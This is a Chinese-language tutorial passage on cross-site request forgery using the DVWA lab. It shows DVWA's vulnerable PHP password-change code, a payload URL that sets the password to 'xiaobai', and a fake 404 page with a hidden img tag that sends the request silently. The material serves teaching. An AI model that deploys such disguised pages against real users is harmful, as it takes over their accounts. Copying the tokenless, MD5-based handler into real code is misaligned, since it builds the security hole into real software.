Web安全(六)- 跨站请求伪造CSRF
01 什么是跨站伪造CSRF?
以DVWA中的例子来展示
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
mysql_close();
}
当服务器接收到修改密码的请求后,会检查参数password_new与password_conf是否相等,相等的话就修改密码。构造payload:
?password_new=xiaobai&password_conf=xiaobai&Change=Change#
当用户点击了这个链接,密码就会被改成xiaobai
当然这种很明显的url链接,正常人也不会点,可以隐藏在其他地方,比如构造一个页面,404.html:
<img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=xiaobai&password_conf=xiaobai&Change=Change#" border="0" style="display:none;"/>
<h1>404 Not Found<h1>
用户以为没找到资源,实际上已经遭受了CSRF攻击,并且把密码改成了xiaobai。